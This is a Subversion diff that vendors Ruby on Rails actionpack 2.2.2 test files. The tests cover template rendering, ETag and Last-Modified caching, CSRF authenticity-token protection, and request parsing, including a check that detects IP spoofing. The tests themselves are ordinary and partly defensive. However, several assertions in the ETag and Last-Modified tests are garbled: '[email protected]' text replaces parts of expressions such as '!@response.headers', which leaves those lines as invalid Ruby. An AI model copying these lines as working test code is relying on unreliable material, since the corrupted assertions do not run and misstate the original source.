+    assert_equal "application/atomsvc+xml", @response.content_type
+  end
+
+  def test_render_with_default_from_accept_header
+    xhr :get, :greeting
+    assert_equal "$(\"body\").visualEffect(\"highlight\");", @response.body
+  end
+
+  def test_render_rjs_with_default
+    get :delete_with_js
+    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
+  end
+
+  def test_render_rjs_template_explicitly
+    get :render_js_with_explicit_template
+    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
+  end
+
+  def test_rendering_rjs_action_explicitly
+    get :render_js_with_explicit_action_template
+    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
+  end
+
+  def test_layout_test_with_different_layout
+    get :layout_test_with_different_layout
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  def test_rendering_without_layout
+    get :rendering_without_layout
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_layout_overriding_layout
+    get :layout_overriding_layout
+    assert_no_match %r{<title>}, @response.body
+  end
+
+  def test_rendering_nothing_on_layout
+    get :rendering_nothing_on_layout
+    assert_equal " ", @response.body
+  end
+
+  def test_render_to_string
+    assert_not_deprecated { get :hello_in_a_string }
+    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
+  end
+
+  def test_render_to_string_doesnt_break_assigns
+    get :render_to_string_with_assigns
+    assert_equal "i'm before the render", assigns(:before)
+    assert_equal "i'm after the render", assigns(:after)
+  end
+
+  def test_bad_render_to_string_still_throws_exception
+    assert_raises(ActionView::MissingTemplate) { get :render_to_string_with_exception }
+  end
+
+  def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
+    assert_nothing_raised { get :render_to_string_with_caught_exception }
+    assert_equal "i'm before the render", assigns(:before)
+    assert_equal "i'm after the render", assigns(:after)
+  end
+
+  def test_accessing_params_in_template_with_layout
+    get :accessing_params_in_template_with_layout, :name => "David"
+    assert_equal "<html>Hello: David</html>", @response.body
+  end
+
+  def test_render_with_explicit_template
+    get :render_with_explicit_template
+    assert_response :success
+  end
+
+  def test_double_render
+    assert_raises(ActionController::DoubleRenderError) { get :double_render }
+  end
+
+  def test_double_redirect
+    assert_raises(ActionController::DoubleRenderError) { get :double_redirect }
+  end
+
+  def test_render_and_redirect
+    assert_raises(ActionController::DoubleRenderError) { get :render_and_redirect }
+  end
+
+  # specify the one exception to double render rule - render_to_string followed by render
+  def test_render_to_string_and_render
+    get :render_to_string_and_render
+    assert_equal("Hi web users! here is some cached stuff", @response.body)
+  end
+
+  def test_rendering_with_conflicting_local_vars
+    get :rendering_with_conflicting_local_vars
+    assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
+  end
+
+  def test_action_talk_to_layout
+    get :action_talk_to_layout
+    assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
+  end
+
+  def test_render_text_with_assigns
+    get :render_text_with_assigns
+    assert_equal "world", assigns["hello"]
+  end
+
+  def test_template_with_locals
+    get :render_with_explicit_template_with_locals
+    assert_equal "The secret is area51\n", @response.body
+  end
+
+  def test_update_page
+    get :update_page
+    assert_template nil
+    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_equal 2, @response.body.split($/).length
+  end
+
+  def test_update_page_with_instance_variables
+    get :update_page_with_instance_variables
+    assert_template nil
+    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_match /balance/, @response.body
+    assert_match /\$37/, @response.body
+  end
+
+  def test_update_page_with_view_method
+    get :update_page_with_view_method
+    assert_template nil
+    assert_equal 'text/javascript; charset=utf-8', @response.headers['type']
+    assert_match /2 people/, @response.body
+  end
+
+  def test_yield_content_for
+    assert_not_deprecated { get :yield_content_for }
+    assert_equal "<title>Putting stuff in the title!</title>\n\nGreat stuff!\n", @response.body
+  end
+
+  def test_overwritting_rendering_relative_file_with_extension
+    get :hello_world_from_rxml_using_template
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+
+    get :hello_world_from_rxml_using_action
+    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
+  end
+
+  def test_head_with_location_header
+    get :head_with_location_header
+    assert @response.body.blank?
+    assert_equal "/foo", @response.headers["Location"]
+    assert_response :ok
+  end
+
+  def test_head_with_custom_header
+    get :head_with_custom_header
+    assert @response.body.blank?
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :ok
+  end
+
+  def test_head_with_symbolic_status
+    get :head_with_symbolic_status, :status => "ok"
+    assert_equal "200 OK", @response.headers["Status"]
+    assert_response :ok
+
+    get :head_with_symbolic_status, :status => "not_found"
+    assert_equal "404 Not Found", @response.headers["Status"]
+    assert_response :not_found
+
+    ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE.each do |status, code|
+      get :head_with_symbolic_status, :status => status.to_s
+      assert_equal code, @response.response_code
+      assert_response status
+    end
+  end
+
+  def test_head_with_integer_status
+    ActionController::StatusCodes::STATUS_CODES.each do |code, message|
+      get :head_with_integer_status, :status => code.to_s
+      assert_equal message, @response.message
+    end
+  end
+
+  def test_head_with_string_status
+    get :head_with_string_status, :status => "404 Eat Dirt"
+    assert_equal 404, @response.response_code
+    assert_equal "Eat Dirt", @response.message
+    assert_response :not_found
+  end
+
+  def test_head_with_status_code_first
+    get :head_with_status_code_first
+    assert_equal 403, @response.response_code
+    assert_equal "Forbidden", @response.message
+    assert_equal "something", @response.headers["X-Custom-Header"]
+    assert_response :forbidden
+  end
+
+  def test_rendering_with_location_should_set_header
+    get :render_with_location
+    assert_equal "http://example.com", @response.headers["Location"]
+  end
+
+  def test_rendering_xml_should_call_to_xml_if_possible
+    get :render_with_to_xml
+    assert_equal "<i-am-xml/>", @response.body
+  end
+
+  def test_rendering_with_object_location_should_set_header_with_url_for
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :customers
+      map.connect ':controller/:action/:id'
+    end
+
+    get :render_with_object_location
+    assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
+  end
+
+  def test_should_use_implicit_content_type
+    get :implicit_content_type, :format => 'atom'
+    assert_equal Mime::ATOM, @response.content_type
+  end
+
+  def test_using_layout_around_block
+    get :render_using_layout_around_block
+    assert_equal "Before (David)\nInside from block\nAfter", @response.body
+  end
+
+  def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+  end
+
+  def test_using_layout_around_block_with_args
+    get :render_using_layout_around_block_with_args
+    assert_equal "Before\narg1arg2\nAfter", @response.body
+  end
+
+  def test_partial_only
+    get :partial_only
+    assert_equal "only partial", @response.body
+  end
+
+  def test_should_render_html_formatted_partial
+    get :partial
+    assert_equal 'partial html', @response.body
+  end
+
+  def test_should_render_html_partial_with_dot
+    get :partial_dot_html
+    assert_equal 'partial html', @response.body
+  end
+
+  def test_should_render_html_formatted_partial_with_rjs
+    xhr :get, :partial_as_rjs
+    assert_equal %(Element.replace("foo", "partial html");), @response.body
+  end
+
+  def test_should_render_html_formatted_partial_with_rjs_and_js_format
+    xhr :get, :respond_to_partial_as_rjs
+    assert_equal %(Element.replace("foo", "partial html");), @response.body
+  end
+
+  def test_should_render_js_partial
+    xhr :get, :partial, :format => 'js'
+    assert_equal 'partial js', @response.body
+  end
+
+  def test_should_render_with_alternate_default_render
+    xhr :get, :render_alternate_default
+    assert_equal %(Element.replace("foo", "partial html");), @response.body
+  end
+
+  def test_partial_only_with_layout
+    get :partial_only_with_layout
+    assert_equal "<html>only partial</html>", @response.body
+  end
+
+  def test_render_to_string_partial
+    get :render_to_string_with_partial
+    assert_equal "only partial", assigns(:partial_only)
+    assert_equal "Hello: david", assigns(:partial_with_locals)
+  end
+
+  def test_partial_with_counter
+    get :partial_with_counter
+    assert_equal "5", @response.body
+  end
+
+  def test_partial_with_locals
+    get :partial_with_locals
+    assert_equal "Hello: david", @response.body
+  end
+
+  def test_partial_with_form_builder
+    get :partial_with_form_builder
+    assert_match(/<label/, @response.body)
+    assert_template('test/_form')
+  end
+
+  def test_partial_with_form_builder_subclass
+    get :partial_with_form_builder_subclass
+    assert_match(/<label/, @response.body)
+    assert_template('test/_labelling_form')
+  end
+
+  def test_partial_collection
+    get :partial_collection
+    assert_equal "Hello: davidHello: mary", @response.body
+  end
+
+  def test_partial_collection_with_as
+    get :partial_collection_with_as
+    assert_equal "david david davidmary mary mary", @response.body
+  end
+
+  def test_partial_collection_with_counter
+    get :partial_collection_with_counter
+    assert_equal "david0mary1", @response.body
+  end
+
+  def test_partial_collection_with_locals
+    get :partial_collection_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  end
+
+  def test_partial_collection_with_spacer
+    get :partial_collection_with_spacer
+    assert_equal "Hello: davidonly partialHello: mary", @response.body
+  end
+
+  def test_partial_collection_shorthand_with_locals
+    get :partial_collection_shorthand_with_locals
+    assert_equal "Bonjour: davidBonjour: mary", @response.body
+  end
+
+  def test_partial_collection_shorthand_with_different_types_of_records
+    get :partial_collection_shorthand_with_different_types_of_records
+    assert_equal "Bonjour bad customer: mark0Bonjour good customer: craig1Bonjour bad customer: john2Bonjour good customer: zach3Bonjour good customer: brandon4Bonjour bad customer: dan5", @response.body
+  end
+
+  def test_empty_partial_collection
+    get :empty_partial_collection
+    assert_equal " ", @response.body
+  end
+
+  def test_partial_with_hash_object
+    get :partial_with_hash_object
+    assert_equal "Sam\nmaS\n", @response.body
+  end
+
+  def test_hash_partial_collection
+    get :partial_hash_collection
+    assert_equal "Pratik\nkitarP\nAmy\nymA\n", @response.body
+  end
+
+  def test_partial_hash_collection_with_locals
+    get :partial_hash_collection_with_locals
+    assert_equal "Hola: PratikHola: Amy", @response.body
+  end
+
+  def test_partial_with_implicit_local_assignment
+    assert_deprecated do
+      get :partial_with_implicit_local_assignment
+      assert_equal "Hello: Marcel", @response.body
+    end
+  end
+
+  def test_render_missing_partial_template
+    assert_raises(ActionView::MissingTemplate) do
+      get :missing_partial
+    end
+  end
+
+  def test_render_call_to_partial_with_layout
+    get :render_call_to_partial_with_layout
+    assert_equal "Before (David)\nInside from partial (David)\nAfter", @response.body
+  end
+
+  def test_render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    get :render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
+  end
+end
+
+class EtagRenderTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TestController.new
+
+    @request.host = "www.nextangle.com"
+    @expected_bang_etag = etag_for(expand_key([:foo, 123]))
+  end
+
+  def test_render_200_should_set_etag
+    get :render_hello_world_from_variable
+    assert_equal etag_for("hello david"), @response.headers['ETag']
+    assert_equal "private, max-age=0, must-revalidate", @response.headers['Cache-Control']
+  end
+
+  def test_render_against_etag_request_should_304_when_match
+    @request.if_none_match = etag_for("hello david")
+    get :render_hello_world_from_variable
+    assert_equal "304 Not Modified", @response.status
+    assert @response.body.empty?
+  end
+
+  def test_render_against_etag_request_should_have_no_content_length_when_match
+    @request.if_none_match = etag_for("hello david")
+    get :render_hello_world_from_variable
+    assert [email protected]_key?("Content-Length")
+  end
+
+  def test_render_against_etag_request_should_200_when_no_match
+    @request.if_none_match = etag_for("hello somewhere else")
+    get :render_hello_world_from_variable
+    assert_equal "200 OK", @response.status
+    assert [email protected]?
+  end
+
+  def test_render_should_not_set_etag_when_last_modified_has_been_specified
+    get :render_hello_world_with_last_modified_set
+    assert_equal "200 OK", @response.status
+    assert_not_nil @response.last_modified
+    assert_nil @response.etag
+    assert @response.body.present?
+  end
+
+  def test_render_with_etag
+    get :render_hello_world_from_variable
+    expected_etag = etag_for('hello david')
+    assert_equal expected_etag, @response.headers['ETag']
+    @response = ActionController::TestResponse.new
+
+    @request.if_none_match = expected_etag
+    get :render_hello_world_from_variable
+    assert_equal "304 Not Modified", @response.status
+
+    @request.if_none_match = "\"diftag\""
+    get :render_hello_world_from_variable
+    assert_equal "200 OK", @response.status
+  end
+
+  def render_with_404_shouldnt_have_etag
+    get :render_custom_code
+    assert_nil @response.headers['ETag']
+  end
+
+  def test_etag_should_not_be_changed_when_already_set
+    get :render_hello_world_with_etag_set
+    assert_equal etag_for("hello_world"), @response.headers['ETag']
+  end
+
+  def test_etag_should_govern_renders_with_layouts_too
+    assert_deprecated do
+      get :builder_layout_test
+    end
+
+    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
+    assert_equal etag_for("<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n"), @response.headers['ETag']
+  end
+
+  def test_etag_with_bang_should_set_etag
+    get :conditional_hello_with_bangs
+    assert_equal @expected_bang_etag, @response.headers["ETag"]
+    assert_response :success
+  end
+
+  def test_etag_with_bang_should_obey_if_none_match
+    @request.if_none_match = @expected_bang_etag
+    get :conditional_hello_with_bangs
+    assert_response :not_modified
+  end
+
+  protected
+    def etag_for(text)
+      %("#{Digest::MD5.hexdigest(text)}")
+    end
+
+    def expand_key(args)
+      ActiveSupport::Cache.expand_cache_key(args)
+    end
+end
+
+class LastModifiedRenderTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TestController.new
+
+    @request.host = "www.nextangle.com"
+    @last_modified = Time.now.utc.beginning_of_day.httpdate
+  end
+
+  def test_responds_with_last_modified
+    get :conditional_hello
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified
+    @request.if_modified_since = @last_modified
+    get :conditional_hello
+    assert_equal "304 Not Modified", @response.status
+    assert @response.body.blank?, @response.body
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified_but_etag_differs
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = "234"
+    get :conditional_hello
+    assert_response :success
+  end
+
+  def test_request_modified
+    @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
+    get :conditional_hello
+    assert_equal "200 OK", @response.status
+    assert [email protected]?
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_with_bang_gets_last_modified
+    get :conditional_hello_with_bangs
+    assert_equal @last_modified, @response.headers['Last-Modified']
+    assert_response :success
+  end
+
+  def test_request_with_bang_obeys_last_modified
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_bangs
+    assert_response :not_modified
+  end
+
+  def test_last_modified_works_with_less_than_too
+    @request.if_modified_since = 5.years.ago.httpdate
+    get :conditional_hello_with_bangs
+    assert_response :success
+  end
+end
+
+class RenderingLoggingTest < Test::Unit::TestCase
+  def setup
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @controller = TestController.new
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_logger_prints_layout_and_template_rendering_info
+    @controller.logger = MockLogger.new
+    get :layout_test
+    logged = @controller.logger.logged.find_all {|l| l =~ /render/i }
+    assert_equal "Rendering template within layouts/standard", logged[0]
+    assert_equal "Rendering test/hello_world", logged[1]
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_forgery_protection_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_forgery_protection_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_forgery_protection_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,327 @@
+require 'abstract_unit'
+require 'digest/sha1'
+
+ActionController::Routing::Routes.draw do |map|
+  map.connect ':controller/:action/:id'
+end
+
+# simulates cookie session store
+class FakeSessionDbMan
+  def self.generate_digest(data)
+    Digest::SHA1.hexdigest("secure")
+  end
+end
+
+# common controller actions
+module RequestForgeryProtectionActions
+  def index
+    render :inline => "<%= form_tag('/') {} %>"
+  end
+  
+  def show_button
+    render :inline => "<%= button_to('New', '/') {} %>"
+  end
+  
+  def remote_form
+    render :inline => "<% form_remote_tag(:url => '/') {} %>"
+  end
+
+  def unsafe
+    render :text => 'pwn'
+  end
+  
+  def rescue_action(e) raise e end
+end
+
+# sample controllers
+class RequestForgeryProtectionController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery :only => :index, :secret => 'abc'
+end
+
+class RequestForgeryProtectionWithoutSecretController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery
+end
+
+# no token is given, assume the cookie store is used
+class CsrfCookieMonsterController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery :only => :index
+end
+
+# sessions are turned off
+class SessionOffController < ActionController::Base
+  protect_from_forgery :secret => 'foobar'
+  session :off
+  def rescue_action(e) raise e end
+  include RequestForgeryProtectionActions
+end
+
+class FreeCookieController < CsrfCookieMonsterController
+  self.allow_forgery_protection = false
+  
+  def index
+    render :inline => "<%= form_tag('/') {} %>"
+  end
+  
+  def show_button
+    render :inline => "<%= button_to('New', '/') {} %>"
+  end
+end
+
+# common test methods
+
+module RequestForgeryProtectionTests
+  def teardown
+    ActionController::Base.request_forgery_protection_token = nil
+  end
+  
+
+  def test_should_render_form_with_token_tag
+     get :index
+     assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token
+   end
+
+   def test_should_render_button_to_with_token_tag
+     get :show_button
+     assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token
+   end
+
+   def test_should_render_remote_form_with_only_one_token_parameter
+     get :remote_form
+     assert_equal 1, @response.body.scan(@token).size
+   end
+
+   def test_should_allow_get
+     get :index
+     assert_response :success
+   end
+
+   def test_should_allow_post_without_token_on_unsafe_action
+     post :unsafe
+     assert_response :success
+   end
+
+  def test_should_not_allow_html_post_without_token
+    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+    assert_raises(ActionController::InvalidAuthenticityToken) { post :index, :format => :html }
+  end
+  
+  def test_should_not_allow_html_put_without_token
+    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+    assert_raises(ActionController::InvalidAuthenticityToken) { put :index, :format => :html }
+  end
+  
+  def test_should_not_allow_html_delete_without_token
+    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+    assert_raises(ActionController::InvalidAuthenticityToken) { delete :index, :format => :html }
+  end
+
+  def test_should_allow_api_formatted_post_without_token
+    assert_nothing_raised do
+      post :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_put_without_token
+    assert_nothing_raised do
+      put :index, :format => 'xml'
+    end
+  end
+
+  def test_should_allow_api_formatted_delete_without_token
+    assert_nothing_raised do
+      delete :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_post_sent_as_url_encoded_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+      post :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_put_sent_as_url_encoded_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+      put :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_delete_sent_as_url_encoded_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+      delete :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_post_sent_as_multipart_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
+      post :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_put_sent_as_multipart_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
+      put :index, :format => 'xml'
+    end
+  end
+
+  def test_should_not_allow_api_formatted_delete_sent_as_multipart_form_without_token
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      @request.env['CONTENT_TYPE'] = Mime::MULTIPART_FORM.to_s
+      delete :index, :format => 'xml'
+    end
+  end
+
+  def test_should_allow_xhr_post_without_token
+    assert_nothing_raised { xhr :post, :index }
+  end
+  def test_should_not_allow_xhr_post_with_html_without_token
+    @request.env['CONTENT_TYPE'] = Mime::URL_ENCODED_FORM.to_s
+    assert_raise(ActionController::InvalidAuthenticityToken) { xhr :post, :index }
+  end
+  
+  def test_should_allow_xhr_put_without_token
+    assert_nothing_raised { xhr :put, :index }
+  end
+  
+  def test_should_allow_xhr_delete_without_token
+    assert_nothing_raised { xhr :delete, :index }
+  end
+  
+  def test_should_allow_post_with_token
+    post :index, :authenticity_token => @token
+    assert_response :success
+  end
+  
+  def test_should_allow_put_with_token
+    put :index, :authenticity_token => @token
+    assert_response :success
+  end
+  
+  def test_should_allow_delete_with_token
+    delete :index, :authenticity_token => @token
+    assert_response :success
+  end
+  
+  def test_should_allow_post_with_xml
+    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+    post :index, :format => 'xml'
+    assert_response :success
+  end
+  
+  def test_should_allow_put_with_xml
+    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+    put :index, :format => 'xml'
+    assert_response :success
+  end
+  
+  def test_should_allow_delete_with_xml
+    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+    delete :index, :format => 'xml'
+    assert_response :success
+  end
+end
+
+# OK let's get our test on
+
+class RequestForgeryProtectionControllerTest < Test::Unit::TestCase
+  include RequestForgeryProtectionTests
+  def setup
+    @controller = RequestForgeryProtectionController.new
+    @request    = ActionController::TestRequest.new
+    @request.format = :html
+    @response   = ActionController::TestResponse.new
+    class << @request.session
+      def session_id() '123' end
+    end
+    @token = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+    ActionController::Base.request_forgery_protection_token = :authenticity_token
+  end
+end
+
+class RequestForgeryProtectionWithoutSecretControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = RequestForgeryProtectionWithoutSecretController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    class << @request.session
+      def session_id() '123' end
+    end
+    @token = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+    ActionController::Base.request_forgery_protection_token = :authenticity_token
+  end
+  
+  # def test_should_raise_error_without_secret
+  #   assert_raises ActionController::InvalidAuthenticityToken do
+  #     get :index
+  #   end
+  # end
+end
+
+class CsrfCookieMonsterControllerTest < Test::Unit::TestCase
+  include RequestForgeryProtectionTests
+  def setup
+    @controller = CsrfCookieMonsterController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    class << @request.session
+      attr_accessor :dbman
+    end
+    # simulate a cookie session store
+    @request.session.dbman = FakeSessionDbMan
+    @token = Digest::SHA1.hexdigest("secure")
+    ActionController::Base.request_forgery_protection_token = :authenticity_token
+  end
+end
+
+class FreeCookieControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = FreeCookieController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @token      = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+  end
+  
+  def test_should_not_render_form_with_token_tag
+    get :index
+    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
+  end
+  
+  def test_should_not_render_button_to_with_token_tag
+    get :show_button
+    assert_select 'form>div>input[name=?][value=?]', 'authenticity_token', @token, false
+  end
+  
+  def test_should_allow_all_methods_without_token
+    [:post, :put, :delete].each do |method|
+      assert_nothing_raised { send(method, :index)}
+    end
+  end
+end
+
+class SessionOffControllerTest < Test::Unit::TestCase
+  def setup
+    @controller = SessionOffController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    @token      = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'abc', '123')
+  end
+
+  # TODO: Rewrite this test.
+  # This test was passing but for the wrong reason.
+  # Sessions aren't really being turned off, so an exception was raised
+  # because sessions weren't on - not because the token didn't match.
+  #
+  # def test_should_raise_correct_exception
+  #   @request.session = {} # session(:off) doesn't appear to work with controller tests
+  #   assert_raises(ActionController::InvalidAuthenticityToken) do
+  #     post :index, :authenticity_token => @token, :format => :html
+  #   end
+  # end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/request_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,885 @@
+require 'abstract_unit'
+require 'action_controller/integration'
+
+class RequestTest < Test::Unit::TestCase
+  def setup
+    ActionController::Base.relative_url_root = nil
+    @request = ActionController::TestRequest.new
+  end
+
+  def teardown
+    ActionController::Base.relative_url_root = nil
+  end
+
+  def test_remote_ip
+    assert_equal '0.0.0.0', @request.remote_ip
+
+    @request.remote_addr = '1.2.3.4'
+    assert_equal '1.2.3.4', @request.remote_ip(true)
+
+    @request.remote_addr = '1.2.3.4,3.4.5.6'
+    assert_equal '1.2.3.4', @request.remote_ip(true)
+
+    @request.env['HTTP_CLIENT_IP'] = '2.3.4.5'
+    assert_equal '1.2.3.4', @request.remote_ip(true)
+
+    @request.remote_addr = '192.168.0.1'
+    assert_equal '2.3.4.5', @request.remote_ip(true)
+    @request.env.delete 'HTTP_CLIENT_IP'
+
+    @request.remote_addr = '1.2.3.4'
+    @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
+    assert_equal '1.2.3.4', @request.remote_ip(true)
+
+    @request.remote_addr = '127.0.0.1'
+    @request.env['HTTP_X_FORWARDED_FOR'] = '3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '172.16.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '192.168.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '10.0.0.1, 10.0.0.1, 3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '127.0.0.1,3.4.5.6'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = 'unknown,192.168.0.1'
+    assert_equal 'unknown', @request.remote_ip(true)
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4'
+    assert_equal '3.4.5.6', @request.remote_ip(true)
+
+    @request.env['HTTP_CLIENT_IP'] = '8.8.8.8'
+    e = assert_raises(ActionController::ActionControllerError) {
+      @request.remote_ip(true)
+    }
+    assert_match /IP spoofing attack/, e.message
+    assert_match /HTTP_X_FORWARDED_FOR="9.9.9.9, 3.4.5.6, 10.0.0.1, 172.31.4.4"/, e.message
+    assert_match /HTTP_CLIENT_IP="8.8.8.8"/, e.message
+
+    @request.env['HTTP_X_FORWARDED_FOR'] = '8.8.8.8, 9.9.9.9'
+    assert_equal '8.8.8.8', @request.remote_ip(true)
+
+    @request.env.delete 'HTTP_CLIENT_IP'
+    @request.env.delete 'HTTP_X_FORWARDED_FOR'
+  end
+
+  def test_domains
+    @request.host = "www.rubyonrails.org"
+    assert_equal "rubyonrails.org", @request.domain
+
+    @request.host = "www.rubyonrails.co.uk"
+    assert_equal "rubyonrails.co.uk", @request.domain(2)
+
+    @request.host = "192.168.1.200"
+    assert_nil @request.domain
+
+    @request.host = "foo.192.168.1.200"
+    assert_nil @request.domain
+
+    @request.host = "192.168.1.200.com"
+    assert_equal "200.com", @request.domain
+
+    @request.host = nil
+    assert_nil @request.domain
+  end
+
+  def test_subdomains
+    @request.host = "www.rubyonrails.org"
+    assert_equal %w( www ), @request.subdomains
+
+    @request.host = "www.rubyonrails.co.uk"
+    assert_equal %w( www ), @request.subdomains(2)
+
+    @request.host = "dev.www.rubyonrails.co.uk"
+    assert_equal %w( dev www ), @request.subdomains(2)
+
+    @request.host = "foobar.foobar.com"
+    assert_equal %w( foobar ), @request.subdomains
+
+    @request.host = "192.168.1.200"
+    assert_equal [], @request.subdomains
+
+    @request.host = "foo.192.168.1.200"
+    assert_equal [], @request.subdomains
+
+    @request.host = "192.168.1.200.com"
+    assert_equal %w( 192 168 1 ), @request.subdomains
+
+    @request.host = nil
+    assert_equal [], @request.subdomains
+  end
+
+  def test_port_string
+    @request.port = 80
+    assert_equal "", @request.port_string
+
